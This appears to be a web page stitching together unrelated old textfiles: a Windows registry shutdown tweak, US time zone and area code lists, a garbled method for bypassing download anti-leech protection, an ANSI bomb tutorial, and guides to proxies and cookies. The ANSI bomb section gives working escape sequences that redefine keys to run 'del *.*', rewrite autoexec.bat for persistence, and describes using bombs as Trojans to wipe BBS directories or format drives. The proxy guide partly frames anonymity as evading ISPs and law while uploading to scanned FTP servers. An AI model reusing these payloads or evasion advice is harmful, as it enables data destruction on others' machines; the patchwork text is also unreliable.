Yaj Computers

 An unattended Windows XP/2003 install can install all your software and settings along with Windows, and without you having to click a button or press a key,completely automated. Learn how over here:

CODE

http://unattended.msfn.org


Make your unattended setup now!

This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.

1. Copy the following (everything in the box) into notepad.


QUOTE
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"


2. Save the file as shutdown.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

                                Time Zones
                                ----------

 Atlantic
 --------

 Newfoundland  Nova Scotia  New Brunswick

 Eastern
 -------

 Maine  New Hampshire  Vermont  Massachussets  New York  Rhode Island
 Connecticut  Pennsylvania  New Jersey  Delaware  Maryland  Ohio  Indiana
 Michigan  West Virginia  Virginia  Kentucky  North Carolina  Tennessee
 South Carolina  Georgia  Florida  Quebec  Ontario

 Central
 -------

 Manitoba  North Dakota  South Dakota  Minnesota  Wisconsin  Michigan  Iowa
 Nebraska  Illinois  Kansas  Missouri  Kentucky  Tennessee  Arkansas  Oklahoma
 Texas  Louisiana  Alabama  Mississippi  Indiana

 Mountain
 --------

 Alberta  Saskatchewan  Montana  Idaho  Wyoming  South Dakota  Nebraska
 Utah  Colorado  Kansas  Oklahoma  Arizona  New Mexico 

 Pacific
 -------

 British Columbia  Washington  Montana  Oregon  Nevada  California  Utah


                            Area Code Listing
                            -----------------

   205 - Alabama              907 - Alaska                602 - Arizona
   501 - Arkansas             714 - California (Orange)   818 - California
   213 - California (LA)      916 - California            619 - California
   415 - California (SF)      408 - California (San Jose) 303 - Colorado
   203 - Connecticut          302 - Delaware              904 - Florida
   305 - Florida (Miami)      404 - Georgia (Atlanta)     808 - Hawaii
   208 - Idaho                312 - Illinois (Chicago)    317 - Indiana
   219 - Indiana (Souend)     515 - Iowa (Des Moines)     316 - Kansas
   502 - Kentucky             504 - Lousiana (N. Orleans) 207 - Maine
   301 - Maryland             617 - Massachusetts         313 - Michigan
   616 - Michigan             612 - Minnesota             601 - Mississippi
   816 - Missouri (Kansas C)  314 - Kansas (St. Louis)    406 - Montana
   402 - Nebraska             702 - Nevada                603 - New Hampshire
   201 - New Jersey (Newark)  609 - New Jersey (I'm here) 505 - New Mexico
   718 - NYC (Brooklyn, S.I.) 212 - NYC (Bronx, Mhattan)  518 - NY (Albany)
   716 - NY (Buffalo)         516 - NY (Long Island)      315 - NY (Syracuse)
   914 - NY (White Plains)    704 - North Carolina        919 - North Carolina
   701 - North Dakota         513 - Ohio (Cincinnati)     216 - Ohio
   614 - Ohio (Columbus)      419 - Ohio (Toledo)         405 - Oklahoma
   918 - Oklahoma (Tulsa)     503 - Oregon                215 - Philadelphia PA
   401 - Rhode Island (cough) 803 - South Carolina        605 - South Dakota
   901 - Tennessee (Memphis)  615 - Tennessee (Nashville) 806 - Texas(Cow Hell)
   214 - Texas (Dallas)       817 - Texas (Forth Worth)   713 - Texas (Houston)
   512 - Texas (San Antonio)  801 - Utah                  802 - Vermont
   703 - Virginia (Arlington) 804 - Virginia (Richmond)   202 - Washington DC
   206 - Washington (Seattle) 304 - West Virginia         608 - Wisconsin
   307 - Wyoming              666 - Where do you think

        Well that will make a nice printout for your wall, won't it.  Now
    you know where you're calling...

I was just asking to know if there is some audiance before
here is my methode
for hacking anti leech
we gona use a soft calde proxo mitron
proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto
w-w.proxomitron.info
download a copy of the soft
then you need to unselect all the option of the soft
and clik on log window
no go to a anti leech web site
use the plug in and not netpumper
in the plugin
add a proxy
you must put this proxy adress
127.0.0.1 8080 for http
the same for ftp
now select the file to download a click download
watch in proximitron log winodws you will see many internal forwarding
if the file are located in a ftp server
proximitron dont handel them
and you will find an error
in a ftp adress
if it's a http adress
you will find some thing like
get /blablalma/bla/file
site tr.com
and you have foudn the adress
it' tr.com/blabla/file

                 
                            
    I. Introduction

    After writing the last file, a lot of people let me know about the
mistakes I had made.  I guess this file is to clear up those miscon
ceptions and to let people know about some of the little tricks behind
ANSI bombing.  Of course, ANSI bombing isn't as dangerous as a lot of
people make it out to be, but bombs are still fun to make and with a
little planning deliver some degree of success.  ANSI bombing can
be dangerous, so I am tired of hearing people say that an ANSI bomb is
harmless, another misconception I hope to clear up.  Now, most people
that have spent time experimenting with ANSI bombs probably know most
of the material in this file, but it might be fun just to read anyway.

    2. Misconceptions

    In my last file, I made three major blunders, or what I would con
sider to be major blunders.  First, I said that ANSI bombs could be
used on BBSs to screw people over, but I guess I was wrong.  It was
pure speculation on what other people had said that made me say that.
ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own
version of ANSI, which doesn't support key redefinition.  Some people
might have a program that supports it, but I haven't seen it yet.  I
have tested bombs on systems on my own and proved to myself that they
don't work.  I have also seen people fuck up bombs that would have
worked by uploading them in a message.  The second misconception is
that ANSI bombs are dangerous when put into zips.  I haven't really
tested this out much, but from what I hear with the newer versions of
PKZIP, you have to specify that you want to see ANSI comments when
unzipping.  It is unlikely that you would waste your time unzipping
something again after seeing "Format C:" in the middle of an escape
code.  I could be mistaken, but I'm pretty sure that I'm right. Third,
the last thing that was a misconception is that VANSI.SYS will protect
your system from key redefinition.  Maybe the newer versions don't
support key redefinition, but mine sure as hell does.  There are pro
grams out there that don't support it, but I don't know any of the
names.  Of course, if I were you, I would be wary about using some
thing other then ANSI.  I have a few friends that are working on "A
Better ANSI" for PDers, which, instead of being better, really screws
them over.

    3. An Overview

    Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the struc
ture of an ANSI bomb.  Skip this part if you know what an ANSI bomb is
and how to make one.
    In ANSI everything is done with a system of escape codes.  Key
redefinition is one of those codes.  (From now, whenever I say ESC, I
really mean the arrow, ).  Here is a basic command:
                          ESC [13;27p
    This would make the <Enter> key (13 is the code for enter) turn
into the <Escape> key (27 is the code for escape).  The  always has to
be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you.  The first number is always the key
that you want to be redefined.  If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code.  The bracket signifies the beginning
of the definition, and the "p" signifies the end.  Whenever you want a
key pressed, you have to use it's numerical code (i.e. 13 is the code
for <Enter>).  You can't redefine strings, but you can redefine a key
to become a string (i.e. ESC [13;"Blah"p would make <Enter> say
"Blah").  Strings must be inside of quotes, which includes commands
that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
would delete everything in the directory, note that 13 stands for
Enter in this case, not the redefinition).  An escape code can have
as many commands as you want in it, but each one has to be separated
by a semi-colon.  You can only redefine one key in each escape code,
so if you want to redefine another key, you have to start another
escape code.  That's about it when it comes to bombs, now that you
have the basics, all you really need is a little imagination.

    4. Tips and Tricks

    A. The Y/N Redefinition

    Now, here's a simple but fun little ANSI bomb:

                   ESC [78;89;13p ESC [110;121;13p

    Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y".  Alone this doesn't do too much, except for
screw around with what they are typing.  On the other hand, try adding
this line of code to the ANSI bomb:

                   ESC [13;27;13;"del *.*";13p

    Most people would automatically press "N" when they see "Del *.*",
but when they do, they will be screwed over.  This portion of a bomb
is very useful when it comes to making good bombs.

    B. Screwing with the Autoexec.bat

    Here is another line of code that you may find useful in future
bombing projects:

                   ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
                     c:\autoexec.bat";13;"type bomb.ans";13;0;109;
                     13;"cls";13p

    This line of code makes the bomb a little more permanent and a
little more dangerous.  It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up.  Of course, the person could just boot off a disk, but
I'm sure this would get them a few time.  It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.

    C. Turning Commands into Other Commands

    One of the best pranks to do to someone using an ANSI bomb is to
redefine commands.  That way if they type in "copy", it will turn into
"Del *.*".  Since you can't actually change the whole string, you have
to take a different approach.  You have to change a few of the keys,
so when typed, they type and execute the desired command.  I guess it
would be coolest to have to command exactly the same length; that way
you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works.  You
might make an ANSI that says "Wow, check out what this bomb did to
your directory", and then have it redefine the keys, so when they type
in "dir", it turns into "del".  I think you get the idea.

    D. Trojans

    By now, everybody knows what a Trojan is.  You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans. First,
if you are planning on crashing a board, but you're not very good at
programming, then make yourself an ANSI bomb.  Try to find out in
which directory the main files for running the BBS are stored. They
are usually under the name BBS or the name of the software, like WWIV
or Telegard.  Then, make a bomb that either just deletes all the files
in that directory, or if you want the board to be down a longer time,
then make one that formats the Hard Drive.  In this form ANSI bombs,
if they are well planned out, can be easy to make Trojans. Second,
ANSI bombs can used in Trojans.  This is probably stretching it a
little, but say you wanted to write a Trojan that would delete a
directory, every time you typed a certain key, then you could use an
ANSI bomb.  First make some batch and com/exe files that would search
for protecting programs like Norton and turn them off.  Then you could
copy the file into the root directory, along with your versions of
autoexec.bat, config.sys, ANSI.sys, and whatever else.  (To make it
look more realistic make the files Resource.00x to trick the user,
then when copying, use the real name).  Then somehow lock the computer
up or do a warm boot through some pd program, which is easily attain
able.  When the computer loads back up, you can screw that shit out of
them with your ANSI bomb.

    5. Conclusion
    It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame.  Personally, I think that
ANSI bombs are just plain old fun.  They're not too hard to make, but
there is a lot that you can do with them.  They are nowhere near as
malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose.  I know that there
are programs out there that help you program ANSI bombs, but I think
that they kind of take the fun out of them.  Probably, some day soon,
I'll quit making ANSI bombs and start looking more into virii and pure
Trojans.  But for now, ANSI bombs suit my purpose.

                               -TRG

    Appendix A: Key Code Program

    Here is a small program, which I find very helpful.  After loading
it up, it tells you the numeric code for every key you type in.  Spe
cial means that it is in the extended set and therefore uses zero, and
"q" ends the program.  Unfortunately,  I can't take any credit for
this program.  I got it over the phone from Heavymetl, and it was made
by his brother.  So many thanks go out to Heavymetl and his brother,
even though they'll probably be a little pissed at me for including
this in my file.  It is in Pascal and can be compiled in most Turbo
Pascal compilers.

    Use CRT;
    Var
      CH : CHAR;
    Begin
      Repeat
        CH := ReadKey;
        If CH = #0 then
          Begin
            CH := ReadKey;
            WriteLn(CH,'(Special) - ',ORD(CH));
          End
        Else
          WriteLn(CH,' - ',ORD(CH));
      Until
        CH = 'q';
    End.

    Thanks go out to:

    Heavymetl and his brother for the program and ideas.  Weapons
Master for the input and the help he has given me.  Everybody else who
has helped me out; you know who you are, or at least, you think you
know who you are.  Most of all, to those brave soldiers risking their
asses everyday for us half-way across the world in Saudi Arabia.  Your
deeds haven't gone unnoticed, of course that's mainly because that's
all the news ever shows nowadays.  Also, to anybody else I might have
forgotten.  Thanks.

I can see you hiding in the shadows over there and so can the logs of all the web sites, FTP servers and other nooks and crannies you visit on the web. The sort of information gathered by these logs and which is available to the webmasters of the sites you visit include the address of the previous site you visited, your IP address, your computer's ID name, your physical location and the name of your ISP along with less personal details such as the operating system you're using and your screen resolution. If someone was snooping through your dustbin to gather information on consumer trends or tracking your every move to see where it is you go everyday you wouldn't be too chuffed would you. Well the web is no different, it's still an invasion of privacy and a threat to security and you don't have to put up with it.

Proxy servers:
Every time you visit a web site, detailed information about your system is automatically provided to the webmaster. This information can be used by hackers to exploit your computer or can be forwarded to the market research departments of consumer corporations who by tracking your activities on the internet are better equipped to direct more relevant spam at you. Your best defence against this is to use what is known as a proxy server, which will hide revealing information from the web sites you visit, allowing you to surf the web anonymously. These work by altering the way in which your browser retrieves web pages or connects to remote servers. With a proxy server set up, whenever you 'ask' IE or Netscape to look at a web page, the request is first sent through an external server which is completely independent of your ISP's servers. This third party server then does the requesting on your behalf so that it appears that the request came from them rather than you and your real IP address is never disclosed to the sites you visit. There is nothing to download and the whole process takes less than a minute.

There are two different ways to use proxy servers and both have their advantages and disadvantages. The first method is to use a web based service. What this involves is visiting the proxy's home page each time you want to browse a web site anonymously. The core component of such a system is the dialog box where you enter the address of the web site you want to visit. Each time you enter the URL of the site you want to browse via the proxy into this box, your personal information, IP address and so on is first encrypted before being sent to the site allowing you to maintain your anonymity. Two of the best examples of this type of web based proxy service are Code:
hxxp://www.rewebber.com/
and hxxp://www.anonymizer.com/.

Obviously one disadvantage of using a web based service like Rewebber or Anonymizer, however, is that you have to visit the proxies home page each time you want to surf anonymously. You could choose to select this page as your default home page, but it's still quite awkward if you're forever site hopping at the speed of light. The second main 'con' is that you often have to put up with extra adverts on the pages you visit. These are automatically inserted into the pages by the proxy - they have to pay for service somehow. More sophisticated and convenient solutions are also on offer yet they come with a price tag.

The second method you can use to protect your privacy via a proxy server involves adjusting the settings of your web browser so that you can surf anonymously without having to visit the home page of your proxy each time. To do this you will first need to know the name of your proxy server and the port number it uses. This information can be gleaned from either a public proxy server list or the FAQ referring to a private subscription based service. Once you have the name of the proxy server you wish to use, select 'Internet Options' from the 'Tools' menu of your browser. Now select 'Connections' followed by 'Settings' and tick the 'use a proxy server' check box. To finish the job all you have to do now is enter the name of the server in the 'address' box, the port which it uses in the 'port' box and go forth and surf anonymously.

Free, manual proxy servers as advertised on anonymity sites, if you can find one at all, are likely to be highly oversubscribed, and as a result the speed at which they retrieve web pages can deteriorate. In which case you can go in pursuit of a public proxy server list and select an alternative from it, which can then be set up manually. To locate such a list you can investigate sites such as Code:
hxxp://www.proxys4all.com/

however, this method isn't problem free either, so before you get too carried away and go jumping on the anonymity bandwagon there are a few things you should be aware of. It's very easy to use proxies to protect your privacy, but often the disadvantages of using them far out weigh the benefits. You see, the problem is that, like the proxy servers provided Rewebber et al, free, public proxies are nearly all over subscribed and so they can slow down web browsing considerably. Digging out fast reliable proxy servers is an art form in itself and is a skill which takes considerable practice. You could find a list of public proxy servers and then experiment with each one until you find one that runs at a reasonable speed, but this can be very time consuming and frustrating. Instead, your search would be much more efficient if you got a dedicated program to carry out this task for you. There are literally dozens of proxy seeking programs around which can do just that, and many of them are available as freeware. What these do is scan the internet for public proxy servers. These servers are then tested for speed and anonymity (not all of them are truly anonymous, even if they claim to be!) and once you find one which suits your requirements you can select it as your default proxy with the click of a button.

One of the most significant advantages of using an automated tool to locate proxy servers is that you do not have to keep editing your proxy settings manually each time you wish to try out a new one. Instead, what you do is enter 'localhost' or '127.0.0.1' into the 'address' box and '8088' into the 'port' box of your browser's proxy settings menu and then forget about it. All future proxy switching is then orchestrated from within your proxy seeking software, which subsequently relays the information to your browser or whatever type of application you are attempting to make anonymous. For those of you who are curious 'localhost' and the IP address '127.0.0.1' are the names by which every computer on the internet refers to itself.
Here's a good selection of links, which should help you to get started - Code:
hxxp://www.a4proxy.com/ Anonymity 4 Proxy
hxxp://www.helgasoft.com/hiproxy/ Hi Proxy
hxxp://www.proxy-verifier.com/ Proxy Verifier
hxxp://www.photono-software.de/ Stealther.

You may find that even when using these programs you have difficulty finding good proxy servers. It is for this reason that many people choose only to use proxy servers temporarily whilst doing something which may land them in trouble with their ISP, or in a worst case scenario with the law. The most obvious example of a situation in which you would want to cover your tracks is when scanning for public FTP servers and subsequently uploading to them. Most other net activities are unlikely to incur serious consequences so under these circumstances you can safely surf the web without a proxy. If you're really serious about protecting your privacy, however, your best bet is probably to invest in a dedicated, stable proxy such as the ones offered by Code:
hxxp://www.ultimate-anonymity.com/ Ultimate Anonymity


These aren't free, but may be worth the expense if you aren't keen on continuously switching proxy servers.

Before splashing out though it may be worth checking if your current ISP has a proxy server of its own which you can use. These aren't there to help you to commit cyber crimes and get away with it, they actually have a legitimate purpose as well - otherwise they wouldn't exist. You see, proxy servers were originally designed to help speed up web page loading times. Proxy servers contain a cache of all the web pages which have been requested via the browsers of the people using the proxy. When someone surfs the web using a proxy, the proxy first checks to see if it already has a copy of the web page stored in its cache. If this version of the page is bang up to date, it is sent to your computer and appears in your browser. If the page found in the cache of the proxy server is older than the one stored on the server hosting the page, a new request to the web server is made and the page is updated in the cache of the proxy before being sent to you. Because these servers use very fast internet connections they can retrieve web pages at much greater speeds than you can via your modest home setup. If these servers are located physically nearer to your home than the web host servers you wish to retrieve web pages from, the speed at which you browse the web will be accelerated.


Anonymity - Cookies
One last important point you need to be aware of before jumping in with both feet is that different programs have to be setup in different ways before being able to make external connections via a proxy server. For example, you can surf the web anonymously by modifying the settings in Internet Explorer or Netscape Navigator as explained earlier in this tutorial, but this will only affect your browser. If you then used Flash FXP to copy a batch of 0-day releases from one FTP server to another, this isn't going to protect you in the slightest. What you have to do is enter the name of the proxy server into each application you wish to make anonymous before making any external connections. This can usually be done by browsing through the preferences of your program to see if there is a 'use proxy server' option available. If there is, make sure you use it!


Cookies:
You have little to fear from the edible variety, but the digital ones can be a major threat to your security and privacy. A cookie is a tiny text file (usually less than 1kb in size), which is created and stored on your hard drive whenever you visit a dynamic (or an interactive if you like) web site. These are used to log your personal details so that you can access members only areas of web sites without having to type in a password every time, or to retain your customised settings so that they are available the next time you visit. If you're using a shared computer, anyone who visits the same site that you have previously logged in to can access your accounts. This is particularly worrying if you have entered your credit card details into a form on an e-commerce site. If your browser is set to automatically fill in these details whenever you
return to a previously visited site, this information could be clearly visible - you don't need me to explain the problems this could entail.

The solution to this problem is to delete any cookies which contain sensitive data once you have completed your transactions. Your cookies will be stored in a different place depending on which operating system you are using so you will have to use your detective skills to find them. As an example, in Windows XP they are located in your 'c:\Documents and Settings\Kylie Minogue\Cookies' directory (that is if your name is Kylie Minogue. Mine isn't in case you're wondering!). If you look in this directory, in some cases it is easy to identify which cookie is associated with which web site, but in other cases it's not so obvious. The cookie which was created when you visited Yahoo.com to check your email may be called kylie minogue@yahoo.txt for example. Unfortunately some cookies refer to the IP address of the site you visited and so look more like kylie minogue@145.147.25.21. These cookies can be selectively deleted one at a time if it's obvious which ones are causing a threat to your security, or you can just wipe out the whole lot in one fell swoop and have them recreated as and when they are required. However, if
you're really struggling to find your cookie jar, you could delete your cookies via your browser's tool bar instead. In Internet Explorer this can be done through the 'Tools' &gt; 'Internet Options' menu items.

If all this sounds like too much hassle, you can always find a labour saving program which will be happy to take the job off your hands. These 'cookie crunching' programs allow you to be more selective when editing, viewing and deleting cookies from your system, and some of them will even prevent cookies from being created in the first place. Yes, I know you're hungry for links so I won't deprive you. Have a look here - Code:
hxxp://www.rbaworld.com/Programs/CookieCruncher/ Cookie
Cruncher
hxxp://www.thelimitsoft.com/ Cookie Crusher
hxxp://www.angove.com/ Cookie Killer
hxxp://www.kburra.com/ Cookie Pal
and
hxxp://www.cookiecentral.com/ Cookie Web Kit.

The exchange of information in Internet is made by the "client - server" model. A client sends a request (what files he needs) and a server sends a reply (required files). For close cooperation (full understanding) between a client and a server the client sends additional information about itself: a version and a name of an operating system, configuration of a browser (including its name and version) etc. This information can be necessary for the server in order to know which web-page should be given (open) to the client. There are different variants of web-pages for different configurations of browsers. However, as long as web-pages do not usually depend on browsers, it makes sense to hide this information from the web-server.

What your browser transmits to a web-server:
a name and a version of an operating system
a name and a version of a browser
configuration of a browser (display resolution, color depth, java / javascript support, ...)
IP-address of a client
Other information

The most important part of such information (and absolutely needless for a web-server) is information about IP-address. Using your IP it is possible to know about you the following:
a country where you are from
a city
your provider?s name and e-mail
your physical address

Information, transmitted by a client to a server is available (accessible) for a server as environment variables. Every information unit is a value of some variable. If any information unit is not transmitted, then corresponding variable will be empty (its value will be undetermined).

These are some environment variables:

REMOTE_ADDR ? IP address of a client

HTTP_VIA ? if it is not empty, then a proxy is used. Value is an address (or several addresses) of a proxy server, this variable is added by a proxy server itself if you use one.

HTTP_X_FORWARDED_FOR ? if it is not empty, then a proxy is used. Value is a real IP address of a client (your IP), this variable is also added by a proxy server if you use one.

HTTP_ACCEPT_LANGUAGE ? what language is used in browser (what language a page should be displayed in)

HTTP_USER_AGENT ? so called "a user?s agent". For all browsers this is Mozilla. Furthermore, browser?s name and version (e.g. MSIE 5.5) and an operating system (e.g. Windows 98) is also mentioned here.

HTTP_HOST ? is a web server?s name

This is a small part of environment variables. In fact there are much more of them (DOCUMENT_ROOT, HTTP_ACCEPT_ENCODING, HTTP_CACHE_CONTROL, HTTP_CONNECTION, SERVER_ADDR, SERVER_SOFTWARE, SERVER_PROTOCOL, ...). Their quantity can depend on settings of both a server and a client.

These are examples of variable values:

REMOTE_ADDR = 194.85.1.1
HTTP_ACCEPT_LANGUAGE = ru
HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP_HOST = www.webserver.ru
HTTP_VIA = 194.85.1.1 (Squid/2.4.STABLE7)
HTTP_X_FORWARDED_FOR = 194.115.5.5

Anonymity at work in Internet is determined by what environment variables "hide" from a web-server.

If a proxy server is not used, then environment variables look in the following way:

REMOTE_ADDR = your IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined

According to how environment variables "hided" by proxy servers, there are several types of proxies
Transparent Proxies

They do not hide information about your IP address:

REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = your IP

The function of such proxy servers is not the improvement of your anonymity in Internet. Their purpose is information cashing, organization of joint access to Internet of several computers, etc.
Anonymous Proxies

All proxy servers, that hide a client?s IP address in any way are called anonymous proxies

Simple Anonymous Proxies

These proxy servers do not hide a fact that a proxy is used, however they replace your IP with its own:
REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = proxy IP

These proxies are the most widespread among other anonymous proxy servers.

Distorting Proxies

As well as simple anonymous proxy servers these proxies do not hide the fact that a proxy server is used. However a client?s IP address (your IP address) is replaced with another (arbitrary, random) IP:

REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = random IP address
High Anonymity Proxies

These proxy servers are also called "high anonymity proxy". In contrast to other types of anonymity proxy servers they hide a fact of using a proxy:

REMOTE_ADDR = proxy IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined

That means that values of variables are the same as if proxy is not used, with the exception of one very important thing ? proxy IP is used instead of your IP address.
Summary

Depending on purposes there are transparent and anonymity proxies. However, remember, using proxy servers you hide only your IP from a web-server, but other information (about browser configuration) is accessible!